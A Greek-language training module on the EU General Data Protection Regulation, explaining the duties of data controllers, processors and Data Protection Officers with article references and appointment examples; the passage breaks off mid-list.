ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 14: General Data Protection Regulation GDPR Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν τον Γενικό Κανονισμό για την Προστασία Δεδομένων και την εκτίμηση του αντικτύπου Κινδύνου σχετικά με την προστασία δεδομένων στον Γενικό Κανονισμό Προστασίας Δεδομένων (GDPR). ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Καθήκοντα Προσωπικού Ο Υπεύθυνος Επεξεργασίας Δεδομένων (YE) - Data Controller Ο Εκτελών την επεξεργασία (ΕΕ) - Data Processor Ο Υπεύθυνος Προστασίας Δεδομένων (ΥΠΔ) - Data Protection Officer Λίστα Ελέγχου Παραβίαση (ασφάλειας) Δεδομένων (Data Breach) Παραβίαση διαθεσιμότητας Επεξήγηση αρμοδιοτήτων - καθηκόντων - ευθυνών Προϋποθέσεις διορισμών- Οργανωτική δομή επιχειρήσεων ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Data Controller, privacy by design, privacy by default, Data Processor, Data Protection Officer, Data Breach. Εκπαιδευτική Υποενότητα 14.1 Ο Γενικός Κανονισμός για την Προστασία Δεδομένων Καθήκοντα Προσωπικού Εισαγωγή Η οργάνωση της συμμόρφωσης με τον Κανονισμό περί προστασίας Προσωπικών δεδομένων εξαρτάται άμεσα: α) από τον προσδιορισμό των ρόλων των προσώπων που εμπλέκονται στην επεξεργασία προσωπικών δεδομένων και β) με την κατανομή των υποχρεώσεων που συνδέονται με αυτή Με τον Γενικό Κανονισμό Προστασίας Δεδομένων (ΓΚΠΔ) κάποια πράγματα αλλάζουν, αλλά όχι όλα. Σε γενικές γραμμές, ο ΓΚΠΔ αναπτύχθηκε γύρω από τις υφιστάμενες αρχές προσθέτοντας όμως αυστηρότερες υποχρεώσεις και περιορισμούς για τις επιχειρήσεις και τους οργανισμούς.

Οι έννοιες του υπευθύνου επεξεργασίας και του εκτελούντα την επεξεργασία παραμένουν ουσιαστικά αμετάβλητες στον ΓΚΠΔ, ωστόσο οι αντίστοιχες υποχρεώσεις τροποποιούνται σημαντικά.

Ο Υπεύθυνος Επεξεργασίας Δεδομένων (YE) - Data Controller Είναι το φυσικό ή νομικό πρόσωπο, η δημόσια αρχή, η υπηρεσία ή άλλος φορέας που, μόνα ή από κοινού με άλλα, καθορίζουν τους σκοπούς και τον τρόπο της επεξεργασίας δεδομένων προσωπικού χαρακτήρα (άρθρο 4 παρ. 7). Επομένως, εάν η εταιρεία ή ο οργανισμός αποφασίζει «γιατί» και «πώς» τα δεδομένα προσωπικού χαρακτήρα πρέπει να υποβάλλονται σε επεξεργασία, πρέπει να ορίσει υπεύθυνο επεξεργασίας. Οι εργαζόμενοι που επεξεργάζονται δεδομένα προσωπικού χαρακτήρα εντός του οργανισμού το κάνουν για να εκπληρώσουν τα καθήκοντα του οργανισμού ως υπευθύνου επεξεργασίας.

Παράδειγμα Έστω ότι το τμήμα προώθησης πωλήσεων της εταιρίας ΑΒΓ προτίθεται να επεξεργαστεί δεδομένα για μια έρευνα αγοράς. Στην προκειμένη περίπτωση υπεύθυνος επεξεργασίας θα είναι η εταιρία ΑΒΓ και όχι το τμήμα προώθησης πωλήσεων. Το τμήμα προώθησης πωλήσεων δεν μπορεί να είναι υπεύθυνος επεξεργασίας, διότι δεν έχει διακριτή νομική υπόσταση.

Οι από κοινού υπεύθυνοι επεξεργασίας 1. Ο Κανονισμός αναφέρει για τα πρόσωπα που ορίζονται υπεύθυνοι επεξεργασίας ότι ενεργούν «... μόνα ή από κοινού με άλλα ...» (παρ. 7 του άρθρου 4) δηλαδή εισάγει την έννοια των «από κοινού υπευθύνων επεξεργασίας». 2. Η εταιρεία ή ο οργανισμός θεωρείται από κοινού υπεύθυνος επεξεργασίας όταν σε συνεργασία με έναν ή περισσότερους οργανισμούς αποφασίζει από κοινού «γιατί» και «πώς» θα πρέπει να υποβάλλονται σε επεξεργασία δεδομένα προσωπικού χαρακτήρα (άρθρο 26).

3. Οι από κοινού υπεύθυνοι επεξεργασίας πρέπει να συνάπτουν μεταξύ τους συμφωνία που καθορίζει τις αντίστοιχες αρμοδιότητές τους για τη συμμόρφωση με τους κανόνες του ΓΚΠΔ. Τα κύρια σημεία της συμφωνίας πρέπει να κοινοποιούνται στα φυσικά πρόσωπα των οποίων τα δεδομένα υποβάλλονται σε επεξεργασία. 4. Ο ΥΕ υποχρεούται σε τήρηση των ουσιαστικών υποχρεώσεων αλλά και την υιοθέτηση και εφαρμογή πολιτικών και μέτρων που διασφαλίζουν την πραγμάτωση αυτών. 5. Ο Γενικός Κανονισμός εισάγει την «αρχή της λογοδοσίας», σε αντικατάσταση της υποχρέωσης γνωστοποίησης στην εποπτική Αρχή που υπήρχε μέχρι τώρα και την «διαβούλευση» αντί της αδειοδότησης από την εποπτική Αρχή. Κατά την παρ. 2 του άρθρου 5 του Κανονισμού, ο υπεύθυνος επεξεργασίας «φέρει την ευθύνη και είναι σε θέση να αποδείξει» το νόμιμο της επεξεργασίας, ότι τα προσωπικά δεδομένα υποβάλλονται σε θεμιτή επεξεργασία με «νομιμότητα, αντικειμενικότητα και διαφάνεια», ότι τηρούνται δηλαδή οι Αρχές που διέπουν την επεξεργασία δεδομένων.

Ο Ρόλος του Υπευθύνου προστασίας Δεδομένων 1. Σημαντική είναι η υποχρέωση που περιλαμβάνεται στο άρθρο 7, να είναι σε θέση να αποδείξει ότι το υποκείμενο των δεδομένων συγκατατέθηκε στη πράξη επεξεργασίας. 2. Άρθρο 15 παρ. 3 ΓΚΠΔ (Δικαίωμα πρόσβασης του υποκειμένου των δεδομένων). Ο υπεύθυνος επεξεργασίας παρέχει αντίγραφο των δεδομένων προσωπικού χαρακτήρα που υποβάλλονται σε επεξεργασία και τηρεί αποδεικτικό παράδοσης αντιγράφου. 3. Κατά το άρθρο 24 εφαρμόζει τα κατάλληλα τεχνικά, οργανωτικά μέσα και τις κατάλληλες «πολιτικές» για τη διασφάλιση αλλά και την «απόδειξη» της συμμόρφωσης με τις υποχρεώσεις του έναντι των διατάξεων του Κανονισμού. 4. υπεύθυνος επεξεργασίας (άρθρο 25) «ήδη από το σχεδιασμό» («privacy by design») εφαρμόζει τα κατάλληλα τεχνικά και οργανωτικά μέτρα, (πχ ψευδωνυμοποίηση, η ελαχιστοποίηση) (...) ώστε να πληρούνται οι απαιτήσεις του κανονισμού και να προστατεύονται τα δικαιώματα των υποκειμένων. 5. Εφαρμόζει μέτρα, που εξασφαλίζουν τον «εξ’ ορισμού» («privacy by default») περιορισμό των δεδομένων και τη χρήση μόνο αυτών που είναι κατάλληλα για τον

συγκεκριμένο σκοπό, τον προσδιορισμό του εύρους της επεξεργασίας, του χρόνου διατήρησης και την οριοθέτηση της πρόσβασης (..).

Άρθρα 28 - 33 Άρθρο 28 ΓΚΠΔ παρ. 1 «Όταν η επεξεργασία πρόκειται να διενεργηθεί για λογαριασμό υπευθύνου επεξεργασίας, ο υπεύθυνος επεξεργασίας χρησιμοποιεί μόνο εκτελούντες την επεξεργασία που παρέχουν επαρκείς διαβεβαιώσεις για την εφαρμογή κατάλληλων τεχνικών και οργανωτικών μέτρων ...». Κατά το άρθρο 33, κοινοποιεί τις παραβάσεις στην εποπτική Αρχή εντός 72 ωρών, αλλά και, κατά το άρθρο 34, στο υποκείμενο που ανήκουν τα επεξεργαζόμενα προσωπικά δεδομένα, όταν τίθενται σε κίνδυνο τα δικαιώματά του.

Άρθρα 12 - 35 Παρέχει όποια ανακοίνωση και πληροφορία ζητηθεί από το υποκείμενο για την επεξεργασία των προσωπικών του δεδομένων, εντός ενός μηνός από την παραλαβή του αιτήματος όπως αναφέρεται στο άρθρο 12. Εκπονεί την «εκτίμηση αντικτύπου» που προβλέπεται στο άρθρο 35 δηλαδή την εκτίμηση του κινδύνου για τα δικαιώματα και τις ελευθερίες του υποκειμένου από την επεξεργασία των προσωπικών του δεδομένων.

Στόχευση του Κανονισμού Από την ανάγνωση του Κανονισμού προκύπτει ότι η θέσπιση του αποσκοπεί: 1. Όπως προβλέπεται στο άρθρο 36, γνώμη της εθνικής εποπτικής Αρχής (διαβούλευση) ζητείται από τον υπεύθυνο επεξεργασίας, μόνο όταν η «εκτίμηση αντικτύπου» που συντάσσει, υποδεικνύει υψηλό κίνδυνο «ελλείψει μέτρων μετριασμού του κινδύνου» και όταν η Αρχή φρονεί ότι παρόλα τα ληφθέντα μέτρα δεν αποφεύγεται παραβίαση των διατάξεων προστασίας των προσωπικών δεδομένων ή ζητείται «κατά παρέκκλιση» ως απαίτηση εθνικού δικαίου για συγκεκριμένους σκοπούς.

2. Τηρεί το κατά το άρθρο 30 (εγγράφως ή ηλεκτρονικά) αρχείο δραστηριοτήτων 3. Ο υπεύθυνος επεξεργασίας και ο εκτελών την επεξεργασία ορίζουν υπεύθυνο προστασίας δεδομένων στις περιπτώσεις που προβλέπεται σύμφωνα με το άρθρο 37.

Ο Εκτελών την επεξεργασία (ΕΕ) - Data Processor Ορισμός Άρθρο 4 παρ. 8 Είναι το φυσικό ή νομικό πρόσωπο, η δημόσια αρχή, η υπηρεσία ή άλλος φορέας που επεξεργάζεται δεδομένα προσωπικού χαρακτήρα για λογαριασμό του υπευθύνου της επεξεργασίας. Όπως και ο ορισμός του υπευθύνου της επεξεργασίας, έτσι και ο ορισμός του εκτελούντος την επεξεργασία προβλέπει ευρύ φάσμα φορέων που μπορούν να διαδραματίσουν τον ρόλο του εκτελούντος την επεξεργασία (το φυσικό ή νομικό πρόσωπο, η δημόσια αρχή, η υπηρεσία ή οποιοσδήποτε άλλος φορέας).

Βασικές προϋποθέσεις Η ύπαρξη ενός εκτελούντος την επεξεργασία εξαρτάται από απόφαση που λαμβάνει ο υπεύθυνος της επεξεργασίας, ο οποίος μπορεί να αποφασίσει είτε να επεξεργάζεται τα δεδομένα εντός του οργανισμού του, (πχ μέσω υπαλλήλων υπό την άμεση εποπτεία του), είτε να αναθέσει το σύνολο ή μέρος των δραστηριοτήτων επεξεργασίας σε έναν εξωτερικό οργανισμό, δηλαδή σε νομικά χωριστό πρόσωπο που ενεργεί για λογαριασμό του. Επομένως, δύο βασικές προϋποθέσεις για τον χαρακτηρισμό κάποιου ως εκτελούντος την επεξεργασία είναι, αφενός, να πρόκειται για χωριστή νομική οντότητα σε σχέση με τον υπεύθυνο της επεξεργασίας και, αφετέρου, να επεξεργάζεται δεδομένα προσωπικού χαρακτήρα για λογαριασμό του υπευθύνου της επεξεργασίας.

Άρθρο 17 Στο άρθρο 17 παρ. 2 και 3 προέβλεπε ότι ο υπεύθυνος της επεξεργασίας οφείλει, (..) να επιλέγει προς εκτέλεση της επεξεργασίας πρόσωπο το οποίο παρέχει επαρκείς εγγυήσεις και η εκτέλεση επεξεργασίας μέσω άλλου προσώπου πρέπει να διέπεται από σύμβαση.

Σύμφωνα με την Οδηγία 95/46/ΕΚ, οι ΕΕ είχαν συμβατικές υποχρεώσεις προς τον ΥΕ, αλλά δεν είχαν άμεσες υποχρεώσεις συμμόρφωσης.

Ο Κανονισμός προβλέπει πλέον διακριτές υποχρεώσεις για τους Εκτελούντες την Επεξεργασία. 1. Οφείλουν να λαμβάνουν όλα τα απαιτούμενα μέτρα δυνάμει του άρθρου 32, 2. Να ενημερώνουν τον ΥΕ σε σχέση με την παραβίαση δεδομένων (άρθρο 33), 3. Να παρέχουν συνδρομή στον ΥΕ για τη διασφάλιση της συμμόρφωσης προς τις υποχρεώσεις που αφορούν την κοινοποίηση παραβίασης προσωπικών δεδομένων, 4. Να παρέχουν συνδρομή σχετικά με τη διενέργεια εκτίμησης αντικτύπου (άρθρο 35) 5. Να παρέχουν συνδρομή κατά τη προηγούμενη διαβούλευση με την εποπτική αρχή (άρθρο 36) 6. Να ορίζουν (εσωτερικό) υπεύθυνο προστασίας εφόσον συντρέχουν οι εκ του νόμου υποχρεώσεις (άρθρο 37) 7. Να παρέχουν επαρκείς διαβεβαιώσεις για την εφαρμογή κατάλληλων τεχνικών και οργανωτικών μέτρων, κατά τρόπο ώστε η επεξεργασία να πληροί τις απαιτήσεις του παρόντος κανονισμού και να διασφαλίζεται η προστασία των δικαιωμάτων του υποκειμένου των δεδομένων (άρθρο 28 παρ. 1) 8. Ο εκτελών την επεξεργασία ή κατά περίπτωση ο εκπρόσωπός του, τηρεί, το κατά το άρθρο 30 του Κανονισμού, αρχείο όλων των κατηγοριών δραστηριοτήτων επεξεργασίας που εκτελεί για λογαριασμό του υπευθύνου επεξεργασίας 9. Ο υπεύθυνος επεξεργασίας και ο εκτελών την επεξεργασία συνεργάζονται, κατόπιν αιτήματος, με την εποπτική αρχή για την άσκηση των καθηκόντων της (άρθρο 31) 10. Κάθε πρόσωπο το οποίο υπέστη υλική ή μη υλική ζημία ως αποτέλεσμα παραβίασης του παρόντος κανονισμού δικαιούται αποζημίωση από τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία για τη ζημία που υπέστη. (άρθρο 82).

Προσλήψεις επιπλέον εκτελούντων την επεξεργασία Ο εκτελών την επεξεργασία δεν προσλαμβάνει άλλον εκτελούντα την επεξεργασία χωρίς προηγούμενη ειδική ή γενική γραπτή άδεια του υπευθύνου επεξεργασίας. Σε περίπτωση γενικής γραπτής άδειας, ο εκτελών την επεξεργασία ενημερώνει τον υπεύθυνο επεξεργασίας για τυχόν σκοπούμενες αλλαγές που αφορούν την προσθήκη ή την

αντικατάσταση των άλλων εκτελούντων την επεξεργασία, παρέχοντας με τον τρόπο αυτό τη δυνατότητα στον υπεύθυνο επεξεργασίας να αντιταχθεί σε αυτές τις αλλαγές. Όταν ο εκτελών την επεξεργασία προσλαμβάνει άλλον εκτελούντα για τη διενέργεια συγκεκριμένων

δραστηριοτήτων

επεξεργασίας

για

λογαριασμό

του

υπευθύνου

επεξεργασίας, οι ίδιες υποχρεώσεις όσον αφορά την προστασία των δεδομένων που προβλέπονται στη σύμβαση μεταξύ υπευθύνου επεξεργασίας και εκτελούντος την επεξεργασία, επιβάλλονται στον άλλον αυτόν εκτελούντα μέσω σύμβασης ώστε να παρέχονται επαρκείς διαβεβαιώσεις για την εφαρμογή κατάλληλων τεχνικών και οργανωτικών μέτρων, ούτως ώστε η επεξεργασία να πληροί τις απαιτήσεις του παρόντος κανονισμού. Όταν ο άλλος εκτελών την επεξεργασία αδυνατεί να ανταποκριθεί στις σχετικές με την προστασία των δεδομένων υποχρεώσεις του, ο αρχικός εκτελών παραμένει πλήρως υπόλογος έναντι του υπευθύνου επεξεργασίας για την εκπλήρωση των υποχρεώσεων του άλλου εκτελούντος την επεξεργασία.

Σύμβαση μεταξύ Υπευθύνου Επεξεργασίας και Εκτελούντος την επεξεργασία (άρθρο 28 παρ. 3) •

Η επεξεργασία από τον εκτελούντα την επεξεργασία διέπεται από σύμβαση, που δεσμεύει τον εκτελούντα την επεξεργασία σε σχέση με τον υπεύθυνο επεξεργασίας και καθορίζει:

•

το αντικείμενο και τη διάρκεια της επεξεργασίας,

•

τη φύση και τον σκοπό της επεξεργασίας,

•

το είδος των δεδομένων προσωπικού χαρακτήρα και τις κατηγορίες των υποκειμένων των δεδομένων

•

τις υποχρεώσεις και τα δικαιώματα του υπευθύνου επεξεργασίας.

Η εν λόγω σύμβαση ή άλλη νομική πράξη προβλέπει ειδικότερα ότι ο εκτελών την επεξεργασία: α) επεξεργάζεται τα δεδομένα προσωπικού χαρακτήρα μόνο βάσει καταγεγραμμένων εντολών του υπευθύνου επεξεργασίας, β) διασφαλίζει ότι τα πρόσωπα που είναι εξουσιοδοτημένα να επεξεργάζονται τα δεδομένα

προσωπικού

χαρακτήρα

έχουν

αναλάβει

εμπιστευτικότητας, γ) λαμβάνει όλα τα απαιτούμενα μέτρα δυνάμει του άρθρου 32 ,

δέσμευση

τήρησης

δ) τηρεί τους όρους που αναφέρονται στις παραγράφους 2 και 4 για την πρόσληψη άλλου εκτελούντος την επεξεργασία, ε) λαμβάνει υπόψη τη φύση της επεξεργασίας και επικουρεί τον υπεύθυνο επεξεργασίας με τα κατάλληλα τεχνικά και οργανωτικά μέτρα, για την εκπλήρωση της υποχρέωσης του υπευθύνου επεξεργασίας έναντι των υποκειμένων των δεδομένων. στ) κατ' επιλογή του υπευθύνου επεξεργασίας, διαγράφει ή επιστρέφει όλα τα ζ) δεδομένα προσωπικού χαρακτήρα στον υπεύθυνο επεξεργασίας μετά το πέρας της παροχής υπηρεσιών επεξεργασίας και διαγράφει τα υφιστάμενα αντίγραφα, εκτός εάν ο νόμος απαιτεί την αποθήκευση τους, η) θέτει στη διάθεση του υπευθύνου επεξεργασίας κάθε απαραίτητη πληροφορία προς.

Συμπεράσματα Σε γενικές γραμμές, οι επιχειρήσεις θα αντιμετωπίσουν αυξημένες υποχρεώσεις, είτε ενεργούν ως ΥΕ είτε ως ΕΕ. Πολλοί ΥΕ θα χρειαστεί να επαναδιαπραγματευτούν τις υφιστάμενες συμφωνίες τους με τους ΕΕ για να συμμορφωθούν αυτές με τον Κανονισμό. Δεν έχουν ακόμη δημοσιευθεί οδηγίες.

Ο Υπεύθυνος Προστασίας Δεδομένων (ΥΠΔ) - Data Protection Officer Γενικά Στοιχεία Υπευθύνου Επεξεργασίας Προσωπικών Δεδομένων. 1. Ο Data Protection Officer (DPO) αποτελεί ανεξάρτητο ειδικό στο χώρο των προσωπικών δεδομένων, πρόσωπο με αποδεδειγμένη γνώση και εμπειρία στη νομοθεσία και πρακτική εφαρμογή των Προσωπικών Δεδομένων, ο οποίος θα έχει εχέγγυα ανεξαρτησίας και θα αναφέρεται απευθείας στον CEO ή σε μέλος του Δ.Σ μιας εταιρείας. 2. Προβλέπεται από τον ΓΚΠΔ στα άρθρα 37-39. 3. Η Ομάδα Εργασίας του άρθρου 29 έχει εκδώσει διευκρινιστικές οδηγίες σχετικά με τον ρόλο και την ευθύνη του νέου θεσμού 4. Ο ΥΠΔ εντάσσεται στο προσωπικό ενός οργανισμού ή μιας επιχείρησης δίχως να δεσμεύεται από το διευθυντικό δικαίωμα ως προς την ενάσκηση των καθηκόντων του.

5. Παράλληλα, οι αρμοδιότητές του είναι μόνο συμβουλευτικές, όχι αποφασιστικές. Δεν μπορεί να επιβάλλει το νόμο μέσα στον οργανισμό ή την επιχείρηση όπου εργάζεται, ούτε να επιβάλλει κυρώσεις ή απαγορεύσεις.

Εσωτερικός – Εξωτερικός Υπεύθυνος Επεξεργασίας Ο Υπεύθυνος Επεξεργασίας

μπορεί να είναι μέλος του προσωπικού του υπεύθυνου

επεξεργασίας ή του εκτελούντος την επεξεργασία ή να ασκεί τα καθήκοντά του με σύμβαση παροχής υπηρεσιών. Ο εσωτερικός Υπεύθυνος Επεξεργασίας έχει γνώση των επεξεργασιών δεδομένων, ωστόσο, δεν έχει πλήρη ανεξαρτησία καθηκόντων. Εξωτερική εταιρία σε ρόλο Υπευθύνου Επεξεργασίας κάθε άτομο που παρέχει υπηρεσίες να διαθέτει προσόντα.

Υποχρεωτικός Διορισμός ΥΠΔ Ο ΥΠΔ διορίζεται υποχρεωτικά (άρθρο 37 παρ. 1 ΓΚΠΔ): Όταν η επεξεργασία διενεργείται από Δημόσια αρχή ή φορέα, εκτός των δικαστηρίων που ενεργούν στο πλαίσιο της δικαιοδοτικής τους αρμοδιότητας (όχι αστυνομία κλπ). Όταν οι βασικές δραστηριότητες επεξεργασίας απαιτούν τακτική και συστηματική παρακολούθηση των υποκειμένων των δεδομένων σε μεγάλη κλίμακα ή μεγάλης κλίμακας επεξεργασίας ειδικών κατηγοριών (ευαίσθητων) δεδομένων των άρθρων 9 και 10 ΓΚΠΔ. Δεν υπάρχει αριθμητικό όριο, όπως στην πρόταση του Κανονισμού (για επιχειρήσεις>250 εργαζόμενοι) •

Όταν η επεξεργασία διενεργείται από Δημόσια αρχή ή φορέα, εκτός των δικαστηρίων που ενεργούν στο πλαίσιο της δικαιοδοτικής τους αρμοδιότητας Φορείς που τυπικά ανήκουν στον ιδιωτικό τομέα, αλλά ασκούν δημόσιες αρμοδιότητες, θεωρούνται δημόσιοι φορείς και έχουν υποχρέωση ορισμού ΥΠΔ

•

Όταν οι βασικές δραστηριότητες επεξεργασίας απαιτούν τακτική και συστηματική παρακολούθηση των υποκειμένων των δεδομένων σε μεγάλη κλίμακα ή μεγάλης

κλίμακας επεξεργασίας ειδικών κατηγοριών (ευαίσθητων) δεδομένων των άρθρων 9 και 10 ΓΚΠΔ. •

Ως «βασικές δραστηριότητες» νοούνται οι ενέργειες εκείνες που συνδέονται με επεξεργασία δεδομένων και αποτελούν αναπόσπαστο κομμάτι για την ολοκλήρωση του παρεχόμενου έργου από την επιχείρηση

•

Παραδείγματα: o

ιδιωτικές επιχειρήσεις, μη κυβερνητικές οργανώσεις, αστικές εταιρίες, σωματεία

o

Ιδιωτικές εταιρίες φύλαξης

o

τα νοσοκομεία όπου λαμβάνει χώρα συλλογή και επεξεργασία δεδομένων υγείας που καταλήγει στην δημιουργία σχετικού αρχείου (ιατρικός φάκελος ασθενούς),

o

η επεξεργασία δεδομένων εργαζομένων όταν η καταβολή της μισθοδοσίας τους έχει ανατεθεί σε εξωτερικό συνεργάτη

•

Επεξεργασίες για μισθοδοσία ή για υποστήριξη υποδομών ηλ. επικοινωνιών θεωρούνται παρεπόμενες λειτουργίες - εξαίρεση εάν μια εταιρία μηχανοργάνωσης έχει αυτή ως κύρια δραστηριότητα με outsourcing

•

Η «επεξεργασία σε μεγάλη κλίμακα» (αιτ. σκέψη 91 και ΟΕ αρθρ. 29- Γνώμη 248)

•

Ενδεικτικά, προτείνεται η εξέταση του αριθμού των εμπλεκόμενων υποκειμένων, των οποίων τα δεδομένα υπόκεινται σε επεξεργασία, του όγκου των δεδομένων, της διάρκειας της επεξεργασίας και της γεωγραφικής έκτασης της δραστηριότητας επεξεργασίας.

•

Παραδείγματα: o

η επεξεργασία δεδομένων ασθενών κατά τη λειτουργία νοσοκομείου,

o

η επεξεργασία δεδομένων σχετικών με την μετακίνηση πολιτών με δημόσια μέσα συγκοινωνιών μέσω χρήσης καρτών πολλαπλών διαδρομών,

o

η δυνατότητα εντοπισμού σε πραγματικό χρόνο της γεωγραφικής θέσης πελάτη εκ μέρους διαδικτυακής σελίδας ταχυφαγείων προκειμένου να προταθούν και να παρασχεθούν υπηρεσίες delivery,

o

η επεξεργασία δεδομένων πελατών από τράπεζες και ασφαλιστικές επιχειρήσεις, καθώς και από παρόχους υπηρεσιών τηλεφωνίας ή διαδικτύου.

•

Επεξεργασία δεδομένων από ιδιώτη ιατρό

•

Επεξεργασία δεδομένων από δικηγόρο

•

Διαφορετική η αντιμετώπιση ιατρικού κέντρου όπου μπορεί να υφίσταται επεξεργασία δεδομένων σε μεγάλη κλίμακα.

Στην έννοια της «τακτικής και

συστηματικής παρακολούθησης των υποκειμένων των δεδομένων σε μεγάλη κλίμακας» περιλαμβάνονται όλες οι μορφές παρακολούθησης και διαμόρφωσης «προφίλ» στο διαδίκτυο, μεταξύ άλλων, και για σκοπούς συμπεριφορικής διαφήμισης. •

Δεν αρκεί η μεγάλη κλίμακα της επεξεργασίας δεδομένων

(Αιτιολογική σκέψη

24). •

Παρακολούθηση γίνεται, επίσης, με τη λειτουργία κλειστού κυκλώματος τηλεόρασης.

•

Συστηματική παρακολούθηση σημαίνει συνεχιζόμενη παρακολούθηση.

•

Παραδείγματα: o

λειτουργία δικτύου τηλεπικοινωνιών,

o

παροχή υπηρεσιών τηλεπικοινωνιών,

o

καθορισμός του προφίλ του υποκειμένου με βάση συγκεκριμένα προσωπικά δεδομένα που αφορούν την καταναλωτική του ταυτότητα, τις προτιμήσεις του, επισκεψιμότητα σε συγκεκριμένα καταστήματα,

o

η τηλεόραση κλειστού κυκλώματος,

o

συνδεδεμένες συσκευές, π.χ. έξυπνες συσκευές μέτρησης, έξυπνα αυτοκίνητα, οικιακός αυτοματισμός

•

Υπηρεσίες Υγείας

•

Χρηματοοικονομικές Υπηρεσίες

•

Υπηρεσίες Ανθρώπινου Δυναμικού

•

Υπηρεσίες Φιλοξενίας και Μετακινήσεων

•

Υπηρεσίες Διαδικτυακών/Προσωποποιημένων Πωλήσεων

•

Παροχή Τηλεπικοινωνιακών Υπηρεσιών

•

Παροχή Υπηρεσιών Ενέργειας,

•

Ο Κρατικός Τομέας

•

ΜΚΟ που ασχολούνται με θέματα μετανάστευσης ή προσφύγων ή με θέματα υγείας

•

Πολιτικά κόμματα

•

Συνδικαλιστικές οργανώσεις

•

Εκκλησιαστικές οργανώσεις

•

Φιλοσοφικές ενώσεις και σωματεία

•

Υπηρεσίες υγείας και επιχειρήσεις ή ιδρύματα που ασχολούνται με την έρευνα στον τομέα της γενετικής

•

Ασφαλιστικές εταιρίες

Αν μια επιχείρηση δεν υπάγεται στις περιπτώσεις υποχρεωτικού ορισμού DPO, μπορεί να ορίσει καθώς ενθαρρύνεται ο εθελοντικός ορισμός. Στην περίπτωση αυτή θα ισχύουν οι ίδιες απαιτήσεις ως εάν ο ορισμός να ήταν υποχρεωτικός ο υπεύθυνος είτε ο εκτελών την επεξεργασία μπορεί να είναι υπόχρεοι σε ορισμό ΥΠΔ. Μια μικρή επιχείρηση πώλησης ηλεκτρικών συσκευών χρησιμοποιεί τις υπηρεσίες ενός εκτελούντος την επεξεργασία που παρέχει υπηρεσίες ανάλυσης διαδικτυακών επισκέψεων και στοχευμένης διαφήμισης. Η επιχείρηση δεν έχει υποχρέωση ορισμού ΥΠΔ, αλλά ο εκτελών την επεξεργασία που έχει πολλούς τέτοιους πελάτες, κάνει επεξεργασία σε μεγάλη κλίμακα και οφείλει να ορίσει ΥΠΔ.

Όμιλος επιχειρήσεων Όμιλος επιχειρήσεων μπορεί να διορίσει ένα μόνο υπεύθυνο προστασίας δεδομένων, υπό την προϋπόθεση ότι κάθε εγκατάσταση έχει εύκολη πρόσβαση στον υπεύθυνο προστασίας δεδομένων.

Οι από κοινού DPO (Άρθρο 37 παρ. 2 και 3 ΓΚΠΔ) Στην περίπτωση που υπάρχει α) όμιλος επιχειρήσεων ή β) περισσότερες δημόσιες αρχές ή φορείς. Απαραίτητο είναι όμως σε αυτή την περίπτωση να διαφυλάσσονται τα εχέγγυα πρόσβασης του DPO στις επιμέρους επιχειρήσεις / αρχές ή φορείς, να παραμένουν διαθέσιμα τα στοιχεία επικοινωνίας του και να διασφαλίζεται ότι ένας μόνο DPO, συνεπικουρούμενος από ομάδα, εφόσον απαιτείται, δύναται να επιτελεί αποτελεσματικά όλα τα καθήκοντα παρά το γεγονός ότι έχει οριστεί για όλον τον όμιλο επιχειρήσεων / για περισσότερες δημόσιες αρχές και φορείς.

Σχέση εργασίας που συνδέει DPO και επιχείρηση ( Άρθρο 37 παρ. 6 ) Ο DPO μπορεί να είναι:

1. μέλος του προσωπικού της επιχείρησης ή

να ασκεί τα καθήκοντά του βάσει

σύμβασης παροχής υπηρεσιών (εξωτερικός συνεργάτης). 2. Αν ως εξωτερικός συνεργάτης DPO ορίζεται οργανισμός, προτείνεται η σύσταση ομάδας, με σαφή καταμερισμό εργασιών. Κάθε πρόσωπο δε, εντός του οργανισμού που ασκεί καθήκοντα DPO πρέπει να πληροί όλες τις απαιτήσεις του ΓΚΠΔ.

Στο προσχέδιο του ελληνικού νόμου, ο θεσμός του υπεύθυνος προστασίας δεδομένων ρυθμίζεται στα άρθρα 14 (για τον ΓΚΠΔ). Κεντρικά σημεία είναι τα εξής: 1. Πέρα από τις περιπτώσεις του άρθρου 37 του ΓΚΠΔ, υποχρέωση ορισμού ΥΠΔ έχουν οι ΥΕ και οι ΕΕ οι οποίοι εκτελούν πράξεις επεξεργασίας οι οποίες, σύμφωνα με τον κατάλογο που έχει καταρτίσει η Αρχή απαιτούν τακτική και συστηματική παρακολούθηση των υποκειμένων των δεδομένων σε μεγάλη κλίμακα λόγω της φύσης, του πεδίου εφαρμογής και/ή των σκοπών τους. 2. ορισμός ΥΠΔ γίνεται εγγράφως, ενώ κατά τον ορισμό προσδιορίζονται ειδικότερα ιδίως η θέση, τα καθήκοντα και ο τρόπος με τον οποίο θα τα ασκεί. 3. Υπάρχει υποχρέωση εχεμύθειας 4. H υποχρέωση ορισμού ΥΠΔ δεν περιλαμβάνει τα δικαστήρια και τις εισαγγελικές αρχές, όταν ενεργούν υπό τη δικαιοδοτική τους αρμοδιότητα. 5. Οι ΥΕ και ΕΕ κοινοποιούν το όνομα και την ιδιότητα του ΥΠΔ στην Αρχή.

Τα καθήκοντα του Υπευθύνου Προστασίας Δεδομένων Αρχικά ο ΥΠΔ ενημερώνει και συμβουλεύει τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία και τους υπαλλήλους που επεξεργάζονται τις υποχρεώσεις τους (άρθρο 39 παρ. 1 στοιχείο α). •

Για το σκοπό αυτό παρακολουθεί και καταγράφει:

•

Τις αποφάσεις και οδηγίες της ΑΠΔΠΧ (Αρχή προστασίας Δεδομένων)

•

Τις Γνωμοδοτήσεις της ομάδας εργασίας του άρθρου 29

•

Τη νομολογία των εθνικών δικαστηρίων, του ΕΔΔΑ κλπ.

•

Τα κείμενα που δημοσιεύει ο Ευρωπαίος Επόπτης Προστασίας

